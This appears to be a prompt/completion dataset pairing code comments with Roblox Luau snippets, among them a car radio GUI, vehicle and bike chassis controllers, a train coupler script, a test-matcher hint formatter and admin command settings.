prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--[[**
ensures Lua primitive callback type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]]
|
t.callback = primitive("function")
|
--// # key, ManOff
|
mouse.KeyUp:connect(function(key)
if key=="f" then
veh.Lightbar.middle.Man:Stop()
veh.Lightbar.middle.Wail.Volume = 10
veh.Lightbar.middle.Yelp.Volume = 10
veh.Lightbar.middle.Priority.Volume = 10
script.Parent.Parent.Sirens.Man.BackgroundColor3 = Color3.fromRGB(62, 62, 62)
veh.Lightbar.MANUAL.Transparency = 1
end
end)
|
-- Static variables
|
local _SPEEDEROBJECTSCOLLISIONGROUP = "SpeederObjects"
|
------------------------------------------
|
gui.Track.Text = radio.TName.Value
radio.TName.Changed:connect(function()
gui.Track.Text = radio.TName.Value
seat.Parent.Body.Dash.S.G.Song.Text = radio.TName.Value
end)
gui.Stop.MouseButton1Click:connect(function()
if radio.Stopped.Value == false then
radio.Stopped.Value = true
end
end)
gui.Pause.MouseButton1Click:connect(function()
if radio.Paused.Value == false and radio.Stopped.Value == false then
radio.Paused.Value = true
end
end)
gui.Play.MouseButton1Click:connect(function()
if radio.Stopped.Value == true then
radio.Play.Value = not radio.Play.Value
else
if radio.Paused.Value == true then
radio.Paused.Value = false
end
end
end)
gui.Forward.MouseButton1Click:connect(function()
local n = radio.Track.Value+1
if n>#radio.Songs:GetChildren() then
n = 1
end
radio.Track.Value = n
end)
gui.Back.MouseButton1Click:connect(function()
local n = radio.Track.Value-1
if n<=0 then
n = #radio.Songs:GetChildren()
end
radio.Track.Value = n
end)
gui.AutoplayOn.MouseButton1Click:connect(function()
if radio.Autoplay.Value == true then
radio.Autoplay.Value = false
end
end)
gui.AutoplayOff.MouseButton1Click:connect(function()
if radio.Autoplay.Value == false then
radio.Autoplay.Value = true
end
end)
gui.List.MouseButton1Click:connect(function()
gui.Menu.Visible=not gui.Menu.Visible
end)
gui.Id.MouseButton1Click:connect(function()
gui.IdPlayer.Visible=not gui.IdPlayer.Visible
if gui.IdPlayer.Visible then gui.Id.Rotation=180 else gui.Id.Rotation=0 end
end)
gui.IdPlayer.Play.MouseButton1Click:connect(function()
if radio.IdPlay.Value==gui.IdPlayer.TextBox.Text then
radio.IdPlay.Value=""
wait()
end
radio.IdPlay.Value=gui.IdPlayer.TextBox.Text
end)
for i,v in pairs(gui.Menu:GetChildren()) do
v.MouseButton1Click:connect(function()
radio.Track.Value = i
end)
end
function Stopped()
if radio.Stopped.Value == true then
gui.Pause.Visible = false
gui.Play.Visible = true
else
gui.Play.Visible = false
gui.Pause.Visible = true
end
end
function Paused()
if radio.Paused.Value == true then
gui.Pause.Visible = false
gui.Play.Visible = true
else
if radio.Stopped.Value == false then
gui.Play.Visible = false
gui.Pause.Visible = true
end
end
end
function Autoplay()
if radio.Autoplay.Value == true then
gui.AutoplayOff.Visible = false
gui.AutoplayOn.Visible = true
else
gui.AutoplayOn.Visible = false
gui.AutoplayOff.Visible = true
end
end
radio.Stopped.Changed:connect(Stopped)
radio.Paused.Changed:connect(Paused)
radio.Autoplay.Changed:connect(Autoplay)
Stopped()
Paused()
Autoplay()
while wait(.5) do
if seat:FindFirstChild("SeatWeld") == nil then
script.Parent:Destroy()
end
end
|
-- Display assertion for the report when a test fails.
-- New format: rejects/resolves, not, and matcher name have black color
-- Old format: matcher name has dim color
|
function matcherHint(matcherName: string, received: string?, expected: string?, options: MatcherHintOptions?): string
received = received or "received"
expected = expected or "expected"
options = options or {}
--[[
ROBLOX TODO: Remove the "if options" check once it can pass through
Luau cleanly and define all of the variables in-line i.e.
local comment = options.comment or ""
]]
local comment, expectedColor, isDirectExpectCall, isNot, promise, receivedColor, secondArgument, secondArgumentColor
if options then
comment = options.comment or ""
expectedColor = options.expectedColor or EXPECTED_COLOR
isDirectExpectCall = options.isDirectExpectCall or false
isNot = options.isNot or false
promise = options.promise or ""
receivedColor = options.receivedColor or RECEIVED_COLOR
secondArgument = options.secondArgument or ""
secondArgumentColor = options.secondArgumentColor or EXPECTED_COLOR
end
local hint = ""
local dimString = "expect" -- concatenate adjacent dim substrings
if not isDirectExpectCall and received ~= "" then
hint = hint .. DIM_COLOR(dimString .. "(") .. receivedColor(received)
dimString = ")"
end
if promise ~= "" then
hint = hint .. DIM_COLOR(dimString .. ".") .. promise
dimString = ""
end
if isNot then
hint = hint .. DIM_COLOR(dimString .. ".") .. "never"
dimString = ""
end
if string.find(matcherName, "%.") then
-- Old format: for backward compatibility,
-- especially without promise or isNot options
dimString = dimString .. matcherName
else
-- New format: omit period from matcherName arg
hint = hint .. DIM_COLOR(dimString .. ".") .. matcherName
dimString = ""
end
if expected == "" then
dimString = dimString .. "()"
else
hint = hint .. DIM_COLOR(dimString .. "(") .. expectedColor(expected)
if secondArgument ~= "" then
hint = hint .. DIM_COLOR(", ") .. secondArgumentColor(secondArgument)
end
dimString = ")"
end
if comment ~= "" then
dimString = dimString .. " -- " .. comment
end
if dimString ~= "" then
hint = hint .. DIM_COLOR(dimString)
end
return hint
end
return {
EXPECTED_COLOR = EXPECTED_COLOR,
RECEIVED_COLOR = RECEIVED_COLOR,
INVERTED_COLOR = INVERTED_COLOR,
BOLD_WEIGHT = BOLD_WEIGHT,
DIM_COLOR = DIM_COLOR,
SUGGEST_TO_CONTAIN_EQUAL = SUGGEST_TO_CONTAIN_EQUAL,
stringify = stringify,
highlightTrailingWhitespace = highlightTrailingWhitespace,
printReceived = printReceived,
printExpected = printExpected,
printWithType = printWithType,
ensureNoExpected = ensureNoExpected,
ensureActualIsNumber = ensureActualIsNumber,
ensureExpectedIsNumber = ensureExpectedIsNumber,
ensureNumbers = ensureNumbers,
ensureExpectedIsNonNegativeInteger = ensureExpectedIsNonNegativeInteger,
printDiffOrStringify = printDiffOrStringify,
diff = diff,
pluralize = pluralize,
getLabelPrinter = getLabelPrinter,
matcherErrorMessage = matcherErrorMessage,
matcherHint = matcherHint,
}
|
--[[ Script Variables ]]
|
--
while not Players.LocalPlayer do
wait()
end
local lastInputType = nil
local LocalPlayer = Players.LocalPlayer
local PlayerGui = LocalPlayer:WaitForChild('PlayerGui')
local IsTouchDevice = UserInputService.TouchEnabled
local UserMovementMode = IsTouchDevice and GameSettings.TouchMovementMode or GameSettings.ComputerMovementMode
local DevMovementMode = IsTouchDevice and LocalPlayer.DevTouchMovementMode or LocalPlayer.DevComputerMovementMode
local IsUserChoice = (IsTouchDevice and DevMovementMode == Enum.DevTouchMovementMode.UserChoice) or (DevMovementMode == Enum.DevComputerMovementMode.UserChoice)
local TouchGui = nil
local TouchControlFrame = nil
local IsModalEnabled = UserInputService.ModalEnabled
local BindableEvent_OnFailStateChanged = nil
local isJumpEnabled = false
|
--// All global vars will be wiped/replaced except script
|
return function(data, env)
if env then
setfenv(1, env)
end
local gui = client.UI.Prepare(script.Parent.Parent) -- Change it to a TextLabel to avoid chat clearing
local playergui = service.PlayerGui
local frame = gui.Frame
local msg = gui.Frame.Message
local ttl = gui.Frame.Title
local gIndex = data.gIndex
local gTable = data.gTable
local title = data.Title
local message = data.Message
local scroll = data.Scroll
local tim = data.Time
if not data.Message or not data.Title then gui:Destroy() end
ttl.Text = title
msg.Text = message
ttl.TextTransparency = 1
msg.TextTransparency = 1
ttl.TextStrokeTransparency = 1
msg.TextStrokeTransparency = 1
frame.BackgroundTransparency = 1
local blur = service.New("BlurEffect")
blur.Enabled = false
blur.Size = 0
blur.Parent = service.Workspace.CurrentCamera
local fadeSteps = 10
local blurSize = 10
local textFade = 0.1
local strokeFade = 0.5
local frameFade = 0.3
local blurStep = blurSize/fadeSteps
local frameStep = frameFade/fadeSteps
local textStep = 0.1
local strokeStep = 0.1
local gone = false
local function fadeIn()
if not gone then
blur.Enabled = true
gTable:Ready()
--gui.Parent = service.PlayerGui
for i = 1,fadeSteps do
if blur.Size<blurSize then
blur.Size = blur.Size+blurStep
end
if msg.TextTransparency>textFade then
msg.TextTransparency = msg.TextTransparency-textStep
ttl.TextTransparency = ttl.TextTransparency-textStep
end
if msg.TextStrokeTransparency>strokeFade then
msg.TextStrokeTransparency = msg.TextStrokeTransparency-strokeStep
ttl.TextStrokeTransparency = ttl.TextStrokeTransparency-strokeStep
end
if frame.BackgroundTransparency>frameFade then
frame.BackgroundTransparency = frame.BackgroundTransparency-frameStep
end
wait(1/60)
end
end
end
local function fadeOut()
if not gone then
for i = 1,fadeSteps do
if blur.Size>0 then
blur.Size = blur.Size-blurStep
end
if msg.TextTransparency<1 then
msg.TextTransparency = msg.TextTransparency+textStep
ttl.TextTransparency = ttl.TextTransparency+textStep
end
if msg.TextStrokeTransparency<1 then
msg.TextStrokeTransparency = msg.TextStrokeTransparency+strokeStep
ttl.TextStrokeTransparency = ttl.TextStrokeTransparency+strokeStep
end
if frame.BackgroundTransparency<1 then
frame.BackgroundTransparency = frame.BackgroundTransparency+frameStep
end
wait(1/60)
end
blur.Enabled = false
blur:Destroy()
service.UnWrap(gui):Destroy()
gone = true
end
end
gTable.CustomDestroy = function()
if not gone then
gone = true
pcall(fadeOut)
end
pcall(function() service.UnWrap(gui):Destroy() end)
pcall(function() blur:Destroy() end)
end
--[[if not scroll then
msg.Text = message
else
Routine(function()
wait(0.5)
for i = 1, #message do
msg.Text = msg.Text .. message:sub(i,i)
wait(0.05)
end
end)
end--]] -- For now?
fadeIn()
wait(tim or 5)
if not gone then
fadeOut()
end
--[[
frame.Position = UDim2.new(0.5,-175,-1.5,0)
gui.Parent = playergui
frame:TweenPosition(UDim2.new(0.5,-175,0.25,0),nil,nil,0.5)
if not scroll then
msg.Text = message
wait(tim or 10)
else
wait(0.5)
for i = 1, #message do
msg.Text = msg.Text .. message:sub(i,i)
wait(0.05)
end
wait(tim or 5)
end
if frame then
frame:TweenPosition(UDim2.new(0.5,-175,-1.5,0),nil,nil,0.5)
wait(1)
gui:Destroy()
end
--]]
end
|
-- Public
|
function Utility.fastRemove(tbl: {number: any}, index: number) -- would use {any}, but it makes the linter angry
local n = #tbl
tbl[index] = tbl[n]
tbl[n] = nil
end
function Utility.ser(...)
local str = ''
for _, num in next, {...} do
str = str..math.floor(num)
end
return tonumber(str)
end
function Utility.toScale(scale: number, offset: number, parentSize: number): number
return (offset / parentSize) + scale
end
function Utility.toOffset(scale: number, offset: number, parentSize: number): number
return (scale * parentSize) + offset
end
function Utility.convert(obj: GuiObject | UILayout, prop: string, T: string): UDim2 | UDim
local parentSize = obj.Parent.AbsoluteSize
local ud = obj[prop]
local to = T == 'Scale' and Utility.toScale or Utility.toOffset
if typeof(obj[prop]) == 'UDim2' then
return UDim2['from'..T](to(ud.X.Scale, ud.X.Offset, parentSize.X), to(ud.Y.Scale, ud.Y.Offset, parentSize.Y))
else
local axis = 'X'
if obj:IsA('UIListLayout') then
axis = obj.FillDirection == Enum.FillDirection.Horizontal and 'X' or 'Y'
end
local data = {
[T] = to(ud.Scale, ud.Offset, parentSize[axis])
}
return UDim.new(data.Scale, data.Offset)
end
end
|
--[[Dependencies]]
|
local player = game.Players.LocalPlayer
local mouse = player:GetMouse()
local UserInputService = game:GetService("UserInputService")
local car = script.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])
|
--[[Brakes]]
|
Tune.ABSEnabled = true -- Implements ABS
Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS)
Tune.FBrakeForce = 300 -- Front brake force
Tune.RBrakeForce = 350 -- Rear brake force
Tune.PBrakeForce = 4000 -- Handbrake force
Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF]
Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF]
Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
|
--game.ReplicatedStorage.Events.TirarSave3.OnServerEvent:Connect(function(player)
|
--player.Saves.Numerodesaves2.Value = 0
|
-- DefaultValue for spare ammo
|
local SpareAmmo = 100
|
-- alas poor coupler.ClickDetector.MouseClick:connect(function() ... end), I knew thee well
|
remote.OnServerEvent:connect(function(player)
if IsCoupled.Value then
IsCoupled.Value = false
else
Allow.Value = not Allow.Value
Recolor()
end
end)
IsCoupled.Changed:connect(function()
if IsCoupled.Value == false then
Decouple()
end
Recolor()
end)
function rotate(a,b)
local weld = Instance.new("Rotate")
weld.Part0 = a
weld.Part1 = b
weld.C0 = CFrame.new()
weld.C1 = b.CFrame:inverse() * a.CFrame--use this because you get less floating point errors
weld.Name = "CouplerRotate"
return weld
end
function rotateSpecial(a,b)
local weld = Instance.new("Rotate")
weld.Part0 = a
weld.Part1 = b
weld.C0 = CFrame.new(0,0,-0.6)
weld.C1 = CFrame.new(0,0,-0.6)*CFrame.Angles(0,math.pi,0)
weld.Name = "CouplerRotate"
return weld
end
function PGSRotates(coupler1,coupler2)
local R1 = Instance.new("Part")
R1.CanCollide = false
R1.Transparency = 1
R1.FormFactor = "Plate"
R1.Size = Vector3.new()
--R1.CanCollide = false
R1.TopSurface = "Smooth"
R1.BottomSurface = "Smooth"
local R2 = R1:Clone()
R1.CFrame = coupler1.CFrame
R2.CFrame = coupler2.CFrame
rotate(coupler1,R1).Parent = coupler1
rotate(coupler2,R2).Parent = coupler2
rotateSpecial(R1,R2).Parent = R1
R1.Parent = coupler.Parent
R2.Parent = coupler.Parent
return R1,R2
end
function Couple(coupler,otherCoupler)
if PGS then
coupler.CanCollide = false
otherCoupler.CanCollide = false
R1,R2 = PGSRotates(coupler,otherCoupler)
else
MyWeld = weld(coupler,otherCoupler)
MyWeld.Parent = model
end
coupler.SoundClose:Play()
end
CoupledTo.Changed:connect(function()
if CoupledTo.Value then
--the network ownership means the couplers won't freak out when you couple
local otherCoupler = CoupledTo.Value:FindFirstChild("Coupler")
if otherCoupler
and CoupledTo.Value:FindFirstChild("IsCoupled")
and CoupledTo.Value.IsCoupled:IsA("BoolValue")
and CoupledTo.Value.IsCoupled.Value
then
--continue
else
return
end
local owner = coupler:GetNetworkOwner()
local otherOwner = otherCoupler:GetNetworkOwner()
local ownerAuto = coupler:GetNetworkOwnershipAuto()
local otherOwnerAuto = otherCoupler:GetNetworkOwnershipAuto()
if coupler:CanSetNetworkOwnership() then
coupler:SetNetworkOwner(nil)
end
if CoupledTo.Value.Coupler:CanSetNetworkOwnership() then
coupler:SetNetworkOwner(nil)
end
Couple(coupler,otherCoupler)
if coupler:CanSetNetworkOwnership() then
if ownerAuto and otherOwnerAuto then
coupler:SetNetworkOwnershipAuto()
elseif ownerAuto then
coupler:SetNetworkOwner(otherOwner)
elseif otherOwnerAuto then
coupler:SetNetworkOwner(owner)
else
coupler:SetNetworkOwner(owner)
end
end
wait()
if PGS then
WeldDisappear = coupler.ChildRemoved:connect(function(it)
if it.Name == "CouplerRotate" then
Decouple()
WeldDisappear:disconnect()
end
end)
else
WeldDisappear = MyWeld.AncestryChanged:connect(function()
Decouple()
WeldDisappear:disconnect()
end)
end
else
coupler.CanCollide = true
end
end)
coupler.Touched:connect(function(TouchedPart)
if TouchedPart.Parent and TouchedPart.Name == "Coupler" then--make sure the part still exists and that it is called "Coupler" (a good indicator)
local OtherCoupler = TouchedPart.Parent
local OtherAllow = OtherCoupler:FindFirstChild("Allow")--make sure this is a coupler by looking for the value that says we can couple
local OtherIsCoupled = OtherCoupler:FindFirstChild("IsCoupled")--make sure this is a coupler by looking for the value that says it is coupled
if OtherAllow and OtherIsCoupled then
if OtherAllow.Value == true
and Allow.Value == true
and OtherIsCoupled.Value == false
and IsCoupled.Value == false
then
IsCoupled.Value = true
OtherIsCoupled.Value = true
CoupledTo.Value = OtherCoupler
if OtherCoupler:FindFirstChild("CoupledTo") then
OtherCoupler.CoupledTo.Value = model
end
end
end
end
end)
|
-------------------------
|
mouse.KeyDown:connect(function (key)
key = string.lower(key)
if key == "k" then --Camera controls
if cam == ("car") then
Camera.CameraSubject = player.Character.Humanoid
Camera.CameraType = ("Custom")
cam = ("freeplr")
Camera.FieldOfView = 70
elseif cam == ("freeplr") then
Camera.CameraSubject = player.Character.Humanoid
Camera.CameraType = ("Attach")
cam = ("lockplr")
elseif cam == ("lockplr") then
Camera.CameraSubject = carSeat
Camera.CameraType = ("Custom")
cam = ("car")
Camera.FieldOfView = 70
end
elseif key == "u" then --Window controls
if windows == false then
winfob.Visible = true
windows = true
else windows = false
winfob.Visible = false
end
elseif key == "[" then -- volume down
if carSeat.Parent.Body.MP.Sound.Volume > 0 then
handler:FireServer('updateVolume', -0.5)
end
elseif key == "]" then -- volume up
if carSeat.Parent.Body.MP.Sound.Volume < 10 then
handler:FireServer('updateVolume', 0.5)
end
elseif key == "f" then --FM Screen Switch
handler:FireServer('FMSwitch')
elseif key == "b" then --Mode Screen Switch
handler:FireServer('IMode')
elseif key == "n" then
if not carSeat.IsOn.Value then
carSeat.Startup:Play()
carSeat.IsOn.Value = true
else
carSeat.IsOn.Value = false
end
elseif key == "j" then --seatlock
if carSeat.Seatlock.Value == false then
handler:FireServer('seatlock',true,0)
else
handler:FireServer('seatlock',false,12)
end
elseif key == "g" then
if st then
handler:FireServer('src')
else
handler:FireServer('sunroof')
end
elseif key:byte() == 48 then -- CC
st = true
end
end)
mouse.KeyUp:connect(function (key)
key = string.lower(key)
if key:byte() == 48 then --Camera controls
st = false
end
end)
for i,v in pairs(script.Parent:getChildren()) do
if v:IsA('ImageButton') then
v.MouseButton1Click:connect(function()
if carSeat.Windows:FindFirstChild(v.Name) then
local v = carSeat.Windows:FindFirstChild(v.Name)
if v.Value == true then
handler:FireServer('updateWindows', v.Name, false)
else
handler:FireServer('updateWindows', v.Name, true)
end
end
end)
end
end
function showspeed(a)
if carSeat.CC.Value then
HUB2.S.Visible = true
HUB2.CC.Visible = false
HUB2.S.Text = math.floor(carSeat.CCS.Value)
HUB2.S.TextColor3 = a and Color3.new(0,1,0) or Color3.new(1,0,0)
wait(2)
HUB2.S.Visible = false
HUB2.CC.Visible = true
end
end
HUB2.CC.MouseButton1Click:connect(function()
carSeat.CC.Value = not carSeat.CC.Value
carSeat.CCS.Value = math.floor(carSeat.Velocity.Magnitude*mph)
showspeed(true)
end)
HUB2.W.MouseButton1Click:connect(function()
handler:FireServer('wws',carSeat.WS.Value,st)
handler:FireServer('wwr',carSeat.WS.Value,st)
end)
HUB2.Up.MouseButton1Click:connect(function()
if st then
carSeat.CCS.Value = carSeat.CCS.Value+5
else
carSeat.CCS.Value = carSeat.CCS.Value+1
end
showspeed(true)
end)
HUB2.Dn.MouseButton1Click:connect(function()
if st then
carSeat.CCS.Value = carSeat.CCS.Value-5
else
carSeat.CCS.Value = carSeat.CCS.Value-1
end
showspeed(false)
end)
HUB2.UpW.MouseButton1Click:connect(function()
handler:FireServer('wspd',1)
end)
HUB2.DnW.MouseButton1Click:connect(function()
handler:FireServer('wspd',-1)
end)
HUB2.SS.MouseButton1Click:connect(function()
carSeat.SST.Value = not carSeat.SST.Value
end)
HUB2.Limiter.MouseButton1Click:connect(function() --Ignition
if carSeat.IsOn.Value == false then
carSeat.Startup:Play()
carSeat.Sch:Play()
wait(.5)
carSeat.IsOn.Value = true
else
carSeat.IsOn.Value = false
end
end)
winfob.mg.Play.MouseButton1Click:connect(function() --Play the next song
handler:FireServer('updateSong', winfob.mg.Input.Text)
end)
winfob.mg.Stop.MouseButton1Click:connect(function() --Play the next song
handler:FireServer('pauseSong')
end)
carSeat.Indicator.Changed:connect(function()
if carSeat.Indicator.Value == true then
script.Parent.Indicator:Play()
else
script.Parent.Indicator2:Play()
end
end)
game:GetService("RunService").RenderStepped:connect(function()
if cam == "lockplr" then
local XLook=math.max(math.min(((mouse.X-(mouse.ViewSizeX/2))/300)^3,1),-1)
local YLook=math.max(math.min(((mouse.Y-(mouse.ViewSizeY/2))/300)^3,1),-1)
local LookOffset
if player.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
LookOffset=player.Character.Head.CFrame:toWorldSpace(CFrame.new(0.1,.1,-.7)*CFrame.Angles(-YLook,-XLook,0))
else
LookOffset=player.Character.Head.CFrame:toWorldSpace(CFrame.new(0.1,-.05,-.6)*CFrame.Angles(-YLook,-XLook,0))
end
Camera.CameraType="Scriptable"
Camera.CameraSubject=player.Character.Humanoid
Camera.CoordinateFrame=LookOffset
player.CameraMaxZoomDistance=0
else
player.CameraMaxZoomDistance=400
end
end)
while wait() do
carSeat.Parent.Body.Dash.Screen.G.Radio.Time.Text = game.Lighting.TimeOfDay
HUB2.CC.ImageColor3 = carSeat.CC.Value and Color3.new(0,1,0) or Color3.new(0,0,0)
end
|
-- Attack state
|
local attacking = false
local searchingForTargets = false
|
-- Reset the camera look vector when the camera is enabled for the first time
|
local SetCameraOnSpawn = true
local hasGameLoaded = false
local GestureArea = nil
local GestureAreaManagedByControlScript = false
|
-- Also set this to true if you want the thumbstick to not affect throttle, only triggers when a gamepad is conected
|
local onlyTriggersForThrottle = false
local function onThrottleAccel(actionName, inputState, inputObject)
MasterControl:AddToPlayerMovement(Vector3.new(0, 0, -CurrentThrottle))
CurrentThrottle = (inputState == Enum.UserInputState.End or Deccelerating) and 0 or -1
MasterControl:AddToPlayerMovement(Vector3.new(0, 0, CurrentThrottle))
Accelerating = not (inputState == Enum.UserInputState.End)
if (inputState == Enum.UserInputState.End) and Deccelerating then
CurrentThrottle = 1
MasterControl:AddToPlayerMovement(Vector3.new(0, 0, CurrentThrottle))
end
end
local function onThrottleDeccel(actionName, inputState, inputObject)
MasterControl:AddToPlayerMovement(Vector3.new(0, 0, -CurrentThrottle))
CurrentThrottle = (inputState == Enum.UserInputState.End or Accelerating) and 0 or 1
MasterControl:AddToPlayerMovement(Vector3.new(0, 0, CurrentThrottle))
Deccelerating = not (inputState == Enum.UserInputState.End)
if (inputState == Enum.UserInputState.End) and Accelerating then
CurrentThrottle = -1
MasterControl:AddToPlayerMovement(Vector3.new(0, 0, CurrentThrottle))
end
end
local function onSteerRight(actionName, inputState, inputObject)
MasterControl:AddToPlayerMovement(Vector3.new(-CurrentSteer, 0, 0))
CurrentSteer = (inputState == Enum.UserInputState.End or TurningLeft) and 0 or 1
MasterControl:AddToPlayerMovement(Vector3.new(CurrentSteer, 0, 0))
TurningRight = not (inputState == Enum.UserInputState.End)
if (inputState == Enum.UserInputState.End) and TurningLeft then
CurrentSteer = -1
MasterControl:AddToPlayerMovement(Vector3.new(CurrentSteer, 0, 0))
end
end
local function onSteerLeft(actionName, inputState, inputObject)
MasterControl:AddToPlayerMovement(Vector3.new(-CurrentSteer, 0, 0))
CurrentSteer = (inputState == Enum.UserInputState.End or TurningRight) and 0 or -1
MasterControl:AddToPlayerMovement(Vector3.new(CurrentSteer, 0, 0))
TurningLeft = not (inputState == Enum.UserInputState.End)
if (inputState == Enum.UserInputState.End) and TurningRight then
CurrentSteer = 1
MasterControl:AddToPlayerMovement(Vector3.new(CurrentSteer, 0, 0))
end
end
local function getHumanoid()
local character = LocalPlayer and LocalPlayer.Character
if character then
for _,child in pairs(character:GetChildren()) do
if child:IsA('Humanoid') then
return child
end
end
end
end
local function getClosestFittingValue(value)
if value > 0.5 then
return 1
elseif value < -0.5 then
return -1
end
return 0
end
local function onRenderStepped()
if CurrentVehicleSeat then
local moveValue = MasterControl:GetMoveVector()
local didSetThrottleSteerFloat = false
didSetThrottleSteerFloat = pcall(function()
if game:GetService("UserInputService"):GetGamepadConnected(Enum.UserInputType.Gamepad1) and onlyTriggersForThrottle and useTriggersForThrottle then
CurrentVehicleSeat.ThrottleFloat = -CurrentThrottle
else
CurrentVehicleSeat.ThrottleFloat = -moveValue.z
end
CurrentVehicleSeat.SteerFloat = moveValue.x
end)
if didSetThrottleSteerFloat == false then
if game:GetService("UserInputService"):GetGamepadConnected(Enum.UserInputType.Gamepad1) and onlyTriggersForThrottle and useTriggersForThrottle then
CurrentVehicleSeat.Throttle = -CurrentThrottle
else
CurrentVehicleSeat.Throttle = getClosestFittingValue(-moveValue.z)
end
CurrentVehicleSeat.Steer = getClosestFittingValue(moveValue.x)
end
end
end
local function onSeated(active, currentSeatPart)
if active then
if currentSeatPart and currentSeatPart:IsA('VehicleSeat') then
CurrentVehicleSeat = currentSeatPart
if useTriggersForThrottle then
ContextActionService:BindAction("throttleAccel", onThrottleAccel, false, Enum.KeyCode.ButtonR2)
ContextActionService:BindAction("throttleDeccel", onThrottleDeccel, false, Enum.KeyCode.ButtonL2)
end
ContextActionService:BindAction("arrowSteerRight", onSteerRight, false, Enum.KeyCode.Right)
ContextActionService:BindAction("arrowSteerLeft", onSteerLeft, false, Enum.KeyCode.Left)
local success = pcall(function() RunService:BindToRenderStep("VehicleControlStep", Enum.RenderPriority.Input.Value, onRenderStepped) end)
if not success then
if RenderSteppedCn then return end
RenderSteppedCn = RunService.RenderStepped:connect(onRenderStepped)
end
end
else
CurrentVehicleSeat = nil
if useTriggersForThrottle then
ContextActionService:UnbindAction("throttleAccel")
ContextActionService:UnbindAction("throttleDeccel")
end
ContextActionService:UnbindAction("arrowSteerRight")
ContextActionService:UnbindAction("arrowSteerLeft")
MasterControl:AddToPlayerMovement(Vector3.new(-CurrentSteer, 0, -CurrentThrottle))
CurrentThrottle = 0
CurrentSteer = 0
local success = pcall(function() RunService:UnbindFromRenderStep("VehicleControlStep") end)
if not success and RenderSteppedCn then
RenderSteppedCn:disconnect()
RenderSteppedCn = nil
end
end
end
local function CharacterAdded(character)
local humanoid = getHumanoid()
while not humanoid do
wait()
humanoid = getHumanoid()
end
--
if HumanoidSeatedCn then
HumanoidSeatedCn:disconnect()
HumanoidSeatedCn = nil
end
HumanoidSeatedCn = humanoid.Seated:connect(onSeated)
end
if LocalPlayer.Character then
CharacterAdded(LocalPlayer.Character)
end
LocalPlayer.CharacterAdded:connect(CharacterAdded)
return VehicleController
|
--[[
Enjin | Novena
HAYASHl | Avxnturador
Bike Chassis
*We assume you know what you're doing if you're gonna change something here.* ]]
|
--
|
--[[Run]]
|
--Print Version
local build=require(bike.Tuner.README)
local ver=script.Parent.Version.Value
--print("[Novena] NCT: M Loaded - Build: "..build..", Version: "..tostring(ver))
print("[Novena] NCT: M Beta Loaded - Version: "..tostring(ver))
--Runtime Loops
-- ~60 c/s
game["Run Service"].Heartbeat:connect(function(dt)
_IsOn = script.Parent.IsOn.Value
_InControls = script.Parent.ControlsOpen.Value
--Steering
Steering(dt)
--Gear
Gear()
--Power
Engine(dt)
--Update External Values
script.Parent.Values.Gear.Value = _CGear
script.Parent.Values.RPM.Value = _RPM
script.Parent.Values.Boost.Value = ((_TBoost/2)*_TPsi)+((_SBoost/2)*_SPsi)
script.Parent.Values.BoostTurbo.Value = (_TBoost/2)*_TPsi
script.Parent.Values.BoostSuper.Value = (_SBoost/2)*_SPsi
script.Parent.Values.HpNatural.Value = _NH
script.Parent.Values.HpElectric.Value = _EH
script.Parent.Values.HpTurbo.Value = _TH
script.Parent.Values.HpSuper.Value = _SH
script.Parent.Values.HpBoosted.Value = _BH
script.Parent.Values.Horsepower.Value = _HP
script.Parent.Values.TqNatural.Value = _NT/_Tune.Ratios[_CGear+1]/fFD/hpScaling
script.Parent.Values.TqElectric.Value = _ET/_Tune.Ratios[_CGear+1]/fFD/hpScaling
script.Parent.Values.TqTurbo.Value = _TT/_Tune.Ratios[_CGear+1]/fFD/hpScaling
script.Parent.Values.TqSuper.Value = _ST/_Tune.Ratios[_CGear+1]/fFD/hpScaling
script.Parent.Values.TqBoosted.Value = script.Parent.Values.TqTurbo.Value+script.Parent.Values.TqSuper.Value
script.Parent.Values.Torque.Value = script.Parent.Values.TqNatural.Value+script.Parent.Values.TqElectric.Value+script.Parent.Values.TqBoosted.Value
script.Parent.Values.TransmissionMode.Value = _TMode
script.Parent.Values.Throttle.Value = _GThrot
script.Parent.Values.Brake.Value = _GBrake
if script.Parent.Values.AutoClutch.Value then
script.Parent.Values.Clutch.Value = _Clutch
end
script.Parent.Values.SteerC.Value = _GSteerC
script.Parent.Values.SteerT.Value = _GSteerT
script.Parent.Values.PBrake.Value = _PBrake
script.Parent.Values.TCS.Value = _TCS
script.Parent.Values.TCSActive.Value = _TCSActive
script.Parent.Values.TCSAmt.Value = 1-_TCSAmt
script.Parent.Values.ABS.Value = _ABS
script.Parent.Values.ABSActive.Value = _fABSActive or _rABSActive
script.Parent.Values.MouseSteerOn.Value = _MSteer
script.Parent.Values.Velocity.Value = bike.DriveSeat.Velocity
end)
while wait(.0667) do
if _TMode == "Auto" then Auto() end
end
|
-- Libraries
|
local Roact = require(Vendor:WaitForChild('Roact'))
local Cryo = require(Libraries:WaitForChild('Cryo'))
local Maid = require(Libraries:WaitForChild('Maid'))
local new = Roact.createElement
|
------------------------------------------------------------------------
-- adjusts debug information for last instruction written, in order to
-- change the line where item comes into existence
-- * used in (lparser) luaY:funcargs(), luaY:forbody(), luaY:funcstat()
------------------------------------------------------------------------
|
function luaK:fixline(fs, line)
fs.f.lineinfo[fs.pc - 1] = line
end
|
-- << Variables >> --
|
local Player = game:GetService("Players").LocalPlayer
local Mouse = Player:GetMouse()
local Camera = game:GetService("Workspace").CurrentCamera
local UserInputService = game:GetService("UserInputService")
local Humanoid = Player.Character:WaitForChild("Humanoid")
local bobbing = nil
local func1 = 0
local func2 = 0
local func3 = 0
local func4 = 0
local val = 0
local val2 = 0
local int = 8
local int2 = 16
local vect3 = Vector3.new()
|
--------------| SYSTEM SETTINGS |--------------
|
Prefix = ";"; -- The character you use before every command (e.g. ';jump me').
SplitKey = " "; -- The character inbetween command arguments (e.g. setting it to '/' would change ';jump me' to ';jump/me').
BatchKey = ""; -- The character inbetween batch commands (e.g. setting it to '|' would change ';jump me ;fire me ;smoke me' to ';jump me | ;fire me | ;smoke me'
QualifierBatchKey = ","; -- The character used to split up qualifiers (e.g. ;jump player1,player2,player3)
Theme = "Blue"; -- The default UI theme.
